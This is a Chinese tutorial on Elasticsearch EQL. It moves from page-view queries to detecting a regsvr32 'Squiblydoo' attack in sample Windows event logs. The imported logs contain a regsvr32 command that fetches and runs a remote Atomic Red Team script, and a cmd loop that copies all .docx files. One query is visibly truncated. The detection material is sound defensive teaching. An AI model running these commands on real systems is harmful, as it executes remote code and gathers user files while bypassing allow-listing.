文章目录

    • EQL操作
      • 基础语法
        • 数据准备
        • 数据窗口搜索
        • 统计符合条件的事件
        • 事件序列
      • 安全检测
        • 数据准备
        • 查看数据导入情况
        • 获取 regsvr32 事件的计数
        • 检查命令行参数
        • 检查恶意脚本加载
        • 检查攻击成功可能性

EQL操作

EQL 的全名是 Event Query Language (EQL)。事件查询语言（EQL）是一种用于基于事件的时间序列数据（例如日志，指标和跟踪）的查询语言。

  • EQL的优点

    • EQL 使你可以表达事件之间的关系

      许多查询语言允许您匹配单个事件。EQL 使你可以匹配不同事件类别和时间跨度的一系列事件。

    • EQL 的学习曲线很低

      EQL 语法看起来像其他常见查询语言，例如 SQL。 EQL 使你可以直观地编写和读取查询，从而可以进行快速，迭代的搜索。

    • EQL 设计用于安全用例

      尽管你可以将其用于任何基于事件的数据，但我们创建了 EQL 来进行威胁搜寻。 EQL不仅支持危害指标（IOC）搜索，而且可以描述超出 IOC 范围的活动。

  • 前置条件

    要运行 EQL 搜索，搜索到的数据流或索引必须包含时间戳和事件类别字段。 默认情况下，EQL 使用 Elastic 通用模式（ECS）中的 @timestamp 和 event.category 字段。

    • @timestamp 表示时间戳
    • event.category 表示事件分类。

基础语法

数据准备

# 创建索引PUT /gmall# 批量增加数据PUT _bulk{"index":{"_index":"gmall"}}{"@timestamp":"2022-06-01T12:00:00.00+08:00","event":{"category":"page"},"page":{"session_id":"42FC7E13-CB3E-5C05-0000-0010A0125101","last_page_id":"","page_id":"login","user_id":""}}{"index":{"_index":"gmall"}}{"@timestamp":"2022-06-01T12:01:00.00+08:00","event":{"category":"page"},"page":{"session_id":"42FC7E13-CB3E-5C05-0000-0010A0125101","last_page_id":"login","page_id":"good_list","user_id":"1"}}{"index":{"_index":"gmall"}}{"@timestamp":"2022-06-01T12:05:00.00+08:00","event":{"category":"page"},"page":{"session_id":"42FC7E13-CB3E-5C05-0000-0010A0125101","last_page_id":"good_list","page_id":"good_detail","user_id":"1"}}{"index":{"_index":"gmall"}}{"@timestamp":"2022-06-01T12:07:00.00+08:00","event":{"category":"page"},"page":{"session_id":"42FC7E13-CB3E-5C05-0000-0010A0125101","last_page_id":"good_detail","page_id":"order","user_id":"1"}}{"index":{"_index":"gmall"}}{"@timestamp":"2022-06-01T12:08:00.00+08:00","event":{"category":"page"},"page":{"session_id":"42FC7E13-CB3E-5C05-0000-0010A0125101","last_page_id":"order","page_id":"payment","user_id":"1"}}{"index":{"_index":"gmall"}}{"@timestamp":"2022-06-01T12:08:00.00+08:00","event":{"category":"page"},"page":{"session_id":"42FC7E13-CB3E-5C05-0000-0010A0125102","last_page_id":"","page_id":"login","user_id":"2"}}{"index":{"_index":"gmall"}}{"@timestamp":"2022-06-01T12:08:00.00+08:00","event":{"category":"page"},"page":{"session_id":"42FC7E13-CB3E-5C05-0000-0010A0125102","last_page_id":"login","page_id":"payment","user_id":"2"}}

数据窗口搜索

在事件响应过程中，有很多时候，了解特定时间发生的所有事件是很有用的。使用一种名为any 的特殊事件类型，针对所有事件进行匹配，如果想要匹配特定事件，就需要指明事件分类名称

GET /gmall/_eql/search{"query" : """any where page.user_id == "1""""}

统计符合条件的事件

查询出时间范围在[1654056000000, 1654056005000)的数据

GET /gmall/_eql/search{"query" : """any where true""","filter": {"range": {"@timestamp": {"gte": "1654056000000","lt": "1654056005000"}}} }

事件序列

查询出 页面先访问 login,后面又访问了 good_detail 的页面

GET /gmall/_eql/search{"query" : """sequence by page.session_id[page where page.page_id=="login"][page where page.page_id=="good_detail"]"""}

安全检测

EQL 在 Elastic Securit 中被广泛使用。实际应用时，我们可以使用 EQL 语言来进行检测安全威胁和其他可疑行为。

  • 安全知识

    • regsvr32.exe 是一个内置的命令行实用程序，用于在 Windows 中注册.dll 库。

    • 作为本机工具，regsvr32.exe 具有受信任的状态，从而使它可以绕过大多数允许列表软件和脚本阻止程序。

    • regsvr32 滥用的一种常见变体是 Squfullydoo 攻击。

      在 Squfullydoo 攻击中，regsvr32.exe 命令使用 scrobj.dll 库注册并运行远程脚本。

数据准备

# 创建索引PUT my-eql-index# 导入数据POST my-eql-index/_bulk?pretty&refresh{"index":{}}{ "process": { "parent": { "name": "powershell.exe", "entity_id": "{42FC7E13-C11D-5C05-0000-0010C6E90401}", "executable": "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" }, "name": "cmd.exe", "pid": 2012, "entity_id": "{42FC7E13-CB3E-5C05-0000-0010A0125101}", "command_line": "\"C:\\WINDOWS\\system32\\cmd.exe\" /c \"for /R c: %%f in (*.docx) do copy %%f c:\\temp\\\"", "executable": "C:\\Windows\\System32\\cmd.exe", "ppid": 7036 }, "logon_id": 217055, "@timestamp": 131883571822010000, "event": { "category": "process", "type": "creation" }, "user": { "full_name": "bob", "domain": "ART-DESKTOP", "id": "ART-DESKTOP\\bob" } }{"index":{}}{ "process": { "name": "cmd.exe", "pid": 2012, "entity_id": "{42FC7E13-CB3E-5C05-0000-0010A0125101}", "executable": "C:\\Windows\\System32\\cmd.exe" }, "dll": { "path": "C:\\Windows\\System32\\cmd.exe", "name": "cmd.exe" }, "@timestamp": 131883571821990000, "event": { "category": "library" } }{"index":{}}{ "process": { "name": "cmd.exe", "pid": 2012, "entity_id": "{42FC7E13-CB3E-5C05-0000-0010A0125101}", "executable": "C:\\Windows\\System32\\cmd.exe" }, "dll": { "path": "C:\\Windows\\System32\\ntdll.dll", "name": "ntdll.dll" }, "@timestamp": 131883571821990000, "event": { "category": "library" } }{"index":{}}{ "process": { "name": "cmd.exe", "pid": 2012, "entity_id": "{42FC7E13-CB3E-5C05-0000-0010A0125101}", "executable": "C:\\Windows\\System32\\cmd.exe" }, "dll": { "path": "C:\\Windows\\System32\\kernel32.dll", "name": "kernel32.dll" }, "@timestamp": 131883571821990000, "event": { "category": "library" } }{"index":{}}{ "process": { "name": "cmd.exe", "pid": 2012, "entity_id": "{42FC7E13-CB3E-5C05-0000-0010A0125101}", "executable": "C:\\Windows\\System32\\cmd.exe" }, "dll": { "path": "C:\\Windows\\System32\\KernelBase.dll", "name": "KernelBase.dll" }, "@timestamp": 131883571821990000, "event": { "category": "library" } }{"index":{}}{ "process": { "name": "cmd.exe", "pid": 2012, "entity_id": "{42FC7E13-CB3E-5C05-0000-0010A0125101}", "executable": "C:\\Windows\\System32\\cmd.exe" }, "dll": { "path": "C:\\Windows\\System32\\msvcrt.dll", "name": "msvcrt.dll" }, "@timestamp": 131883571821990000, "event": { "category": "library" } }{"index":{}}{ "process": { "name": "cmd.exe", "pid": 2012, "entity_id": "{42FC7E13-CB3E-5C05-0000-0010A0125101}", "executable": "C:\\Windows\\System32\\cmd.exe" }, "@timestamp": 131883571822140000, "event": { "category": "process", "type": "terminate" } }{"index":{}}{ "process": { "parent": { "name": "cmd.exe", "entity_id": "{42FC7E13-CBCB-5C05-0000-0010AA385401}", "executable": "C:\\Windows\\System32\\cmd.exe" }, "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "command_line": "regsvr32.exe/s /u /i:https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1117/RegSvr32.sct scrobj.dll", "executable": "C:\\Windows\\System32\\regsvr32.exe", "ppid": 2652 }, "logon_id": 217055, "@timestamp": 131883573237130000, "event": { "category": "process", "type": "creation" }, "user": { "full_name": "bob", "domain": "ART-DESKTOP", "id": "ART-DESKTOP\\bob" } }{"index":{}}{ "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "dll": { "path": "C:\\Windows\\System32\\regsvr32.exe", "name": "regsvr32.exe" }, "@timestamp": 131883573237140000, "event": { "category": "library" } }{"index":{}}{ "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "dll": { "path": "C:\\Windows\\System32\\ntdll.dll", "name": "ntdll.dll" }, "@timestamp": 131883573237140000, "event": { "category": "library" } }{"index":{}}{ "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "dll": { "path": "C:\\Windows\\System32\\kernel32.dll", "name": "kernel32.dll" }, "@timestamp": 131883573237140000, "event": { "category": "library" } }{"index":{}}{ "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "dll": { "path": "C:\\Windows\\System32\\KernelBase.dll", "name": "KernelBase.dll" }, "@timestamp": 131883573237140000, "event": { "category": "library" } }{"index":{}}{ "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "dll": { "path": "C:\\Windows\\System32\\apphelp.dll", "name": "apphelp.dll" }, "@timestamp": 131883573237140000, "event": { "category": "library" } }{"index":{}}{ "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "dll": { "path": "C:\\Windows\\System32\\AcLayers.dll", "name": "AcLayers.dll" }, "@timestamp": 131883573237140000, "event": { "category": "library" } }{"index":{}}{ "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "dll": { "path": "C:\\Windows\\System32\\msvcrt.dll", "name": "msvcrt.dll" }, "@timestamp": 131883573237140000, "event": { "category": "library" } }{"index":{}}{ "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "dll": { "path": "C:\\Windows\\System32\\user32.dll", "name": "user32.dll" }, "@timestamp": 131883573237140000, "event": { "category": "library" } }{"index":{}}{ "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "dll": { "path": "C:\\Windows\\System32\\win32u.dll", "name": "win32u.dll" }, "@timestamp": 131883573237140000, "event": { "category": "library" } }{"index":{}}{ "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "dll": { "path": "C:\\Windows\\System32\\gdi32.dll", "name": "gdi32.dll" }, "@timestamp": 131883573237140000, "event": { "category": "library" } }{"index":{}}{ "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "dll": { "path": "C:\\Windows\\System32\\gdi32full.dll", "name": "gdi32full.dll" }, "@timestamp": 131883573237140000, "event": { "category": "library" } }{"index":{}}{ "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "dll": { "path": "C:\\Windows\\System32\\msvcp_win.dll", "name": "msvcp_win.dll" }, "@timestamp": 131883573237140000, "event": { "category": "library" } }{"index":{}}{ "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "dll": { "path": "C:\\Windows\\System32\\ucrtbase.dll", "name": "ucrtbase.dll" }, "@timestamp": 131883573237140000, "event": { "category": "library" } }{"index":{}}{ "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "dll": { "path": "C:\\Windows\\System32\\shlwapi.dll", "name": "shlwapi.dll" }, "@timestamp": 131883573237140000, "event": { "category": "library" } }{"index":{}}{ "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "dll": { "path": "C:\\Windows\\System32\\combase.dll", "name": "combase.dll" }, "@timestamp": 131883573237140000, "event": { "category": "library" } }{"index":{}}{ "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "dll": { "path": "C:\\Windows\\System32\\rpcrt4.dll", "name": "rpcrt4.dll" }, "@timestamp": 131883573237140000, "event": { "category": "library" } }{"index":{}}{ "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "dll": { "path": "C:\\Windows\\System32\\bcryptprimitives.dll", "name": "bcryptprimitives.dll" }, "@timestamp": 131883573237140000, "event": { "category": "library" } }{"index":{}}{ "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "dll": { "path": "C:\\Windows\\System32\\sfc.dll", "name": "sfc.dll" }, "@timestamp": 131883573237140000, "event": { "category": "library" } }{"index":{}}{ "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "dll": { "path": "C:\\Windows\\System32\\winspool.drv", "name": "winspool.drv" }, "@timestamp": 131883573237140000, "event": { "category": "library" } }{"index":{}}{ "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "dll": { "path": "C:\\Windows\\System32\\kernel.appcore.dll", "name": "kernel.appcore.dll" }, "@timestamp": 131883573237140000, "event": { "category": "library" } }{"index":{}}{ "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "dll": { "path": "C:\\Windows\\System32\\propsys.dll", "name": "propsys.dll" }, "@timestamp": 131883573237140000, "event": { "category": "library" } }{"index":{}}{ "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "dll": { "path": "C:\\Windows\\System32\\oleaut32.dll", "name": "oleaut32.dll" }, "@timestamp": 131883573237140000, "event": { "category": "library" } }{"index":{}}{ "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "dll": { "path": "C:\\Windows\\System32\\SHCore.dll", "name": "SHCore.dll" }, "@timestamp": 131883573237140000, "event": { "category": "library" } }{"index":{}}{ "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "dll": { "path": "C:\\Windows\\System32\\sechost.dll", "name": "sechost.dll" }, "@timestamp": 131883573237300000, "event": { "category": "library" } }{"index":{}}{ "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "dll": { "path": "C:\\Windows\\System32\\IPHLPAPI.DLL", "name": "IPHLPAPI.DLL" }, "@timestamp": 131883573237300000, "event": { "category": "library" } }{"index":{}}{ "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "dll": { "path": "C:\\Windows\\System32\\bcrypt.dll", "name": "bcrypt.dll" }, "@timestamp": 131883573237300000, "event": { "category": "library" } }{"index":{}}{ "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "dll": { "path": "C:\\Windows\\System32\\sfc.dll", "name": "sfc.dll" }, "@timestamp": 131883573237300000, "event": { "category": "library" } }{"index":{}}{ "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "dll": { "path": "C:\\Windows\\System32\\sfc_os.dll", "name": "sfc_os.dll" }, "@timestamp": 131883573237300000, "event": { "category": "library" } }{"index":{}}{ "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "dll": { "path": "C:\\Windows\\System32\\imm32.dll", "name": "imm32.dll" }, "@timestamp": 131883573237300000, "event": { "category": "library" } }{"index":{}}{ "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "dll": { "path": "C:\\Windows\\System32\\ole32.dll", "name": "ole32.dll" }, "@timestamp": 131883573237300000, "event": { "category": "library" } }{"index":{}}{ "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "dll": { "path": "C:\\Windows\\System32\\uxtheme.dll", "name": "uxtheme.dll" }, "@timestamp": 131883573237300000, "event": { "category": "library" } }{"index":{}}{ "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "dll": { "path": "C:\\Windows\\System32\\scrobj.dll", "name": "scrobj.dll" }, "@timestamp": 131883573237450016, "event": { "category": "library" } }{"index":{}}{ "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "dll": { "path": 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}{"index":{}}{ "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "dll": { "path": "C:\\Windows\\System32\\amsi.dll", "name": "amsi.dll" }, "@timestamp": 131883573240270000, "event": { "category": "library" } }{"index":{}}{ "registry": { "path": "HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\SyncRootManager", "value": "SyncRootManager", "key": "HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer" }, "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\WINDOWS\\system32\\regsvr32.exe" }, "@timestamp": 131883573240890000, "event": { "category": "registry" } }{"index":{}}{ "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "dll": { "path": "C:\\Windows\\System32\\edputil.dll", "name": "edputil.dll" }, "@timestamp": 131883573240890000, "event": { "category": "library" } }{"index":{}}{ "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "dll": { "path": "C:\\Windows\\System32\\Windows.StateRepositoryPS.dll", "name": "Windows.StateRepositoryPS.dll" }, "@timestamp": 131883573240890000, "event": { "category": "library" } }{"index":{}}{ "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "dll": { "path": "C:\\ProgramData\\Microsoft\\Windows Defender\\Platform\\4.18.1810.5-0\\MpOAV.dll", "name": "MpOAV.dll" }, "@timestamp": 131883573240430000, "event": { "category": "library" } }{"index":{}}{ "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "dll": { "path": "C:\\Windows\\System32\\cldapi.dll", "name": "cldapi.dll" }, "@timestamp": 131883573241050000, "event": { "category": "library" } }{"index":{}}{ "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "dll": { "path": "C:\\Windows\\System32\\WinTypes.dll", "name": "WinTypes.dll" }, "@timestamp": 131883573241050000, "event": { "category": "library" } }{"index":{}}{ "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "dll": { "path": "C:\\Windows\\System32\\wshom.ocx", "name": "wshom.ocx" }, "@timestamp": 131883573240430000, "event": { "category": "library" } }{"index":{}}{ "registry": { "path": "HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Notifications\\Data\\418A073AA3BC3475", "value": "418A073AA3BC3475", "key": "HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Notifications\\Data" }, "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\WINDOWS\\system32\\regsvr32.exe" }, "@timestamp": 131883573241200016, "event": { "category": "registry" } }{"index":{}}{ "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "dll": { "path": "C:\\Windows\\System32\\scrrun.dll", "name": "scrrun.dll" }, "@timestamp": 131883573240430000, "event": { "category": "library" } }{"index":{}}{ "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "dll": { "path": "C:\\ProgramData\\Microsoft\\Windows Defender\\Platform\\4.18.1810.5-0\\MpClient.dll", "name": "MpClient.dll" }, "@timestamp": 131883573240580000, "event": { "category": "library" } }{"index":{}}{ "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "@timestamp": 131883573241369984, "event": { "category": "process", "type": "termination" } }{"index":{}}{ "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "destination": { "address": "151.101.48.133", "port": "443" }, "source": { "address": "192.168.162.134", "port": "50505" }, "network": { "direction": "outbound", "protocol": "tcp" }, "@timestamp": 131883573238680000, "event": { "category": "network" }, "user": { "full_name": "bob", "domain": "ART-DESKTOP", "id": "ART-DESKTOP\\bob" } }

查看数据导入情况

# 导入数据GET /_cat/indices/my-eql-index?v=true&h=health,status,index,docs.count

获取 regsvr32 事件的计数

GET my-eql-index/_eql/search" />

检查命令行参数

regsvr32.exe 进程与 143 个事件相关联。 但是如何首先调用 regsvr32.exe？谁调用的？

regsvr32.exe 是一个命令行实用程序。将结果缩小到使用命令行的进程

GET my-eql-index/_eql/search{"query": """process where process.name == "regsvr32.exe" and process.command_line.keyword != null """}该查询将一个事件与创建的 event.type 相匹配，指示 regsvr32.exe 进程的开始。根据事件的process.command_line 值，regsvr32.exe 使用 scrobj.dll 注册了脚本 RegSvr32.sct.这符合Squibledoo 攻击的行为

检查恶意脚本加载

检查 regsvr32.exe 以后是否加载 scrobj.dll 库

GET my-eql-index/_eql/search{"query": """library where process.name == "regsvr32.exe" and dll.name == "scrobj.dll" """ }

检查攻击成功可能性

在许多情况下，攻击者使用恶意脚本连接到远程服务器或下载其他文件。使用 EQL 序列查询来检查以下一系列事件：

  • regsvr32.exe 进程
  • 通过相同的进程加载 scrobj.dll 库
  • 同一过程中的任何网络事件

根据上一个响应中看到的命令行值，你可以期望找到一个匹配项。但是，此查询并非针对该特定命令而设计。取而代之的是，它寻找一种可疑行为的模式，这种模式足以检测出相似的威胁

# 增加过滤条件查询数据GET my-eql-index/_eql/search{"query": """sequence by process.pid[process where process.name == "regsvr32.exe"][library where dll.name == "scrobj.dll"][network where true] """ }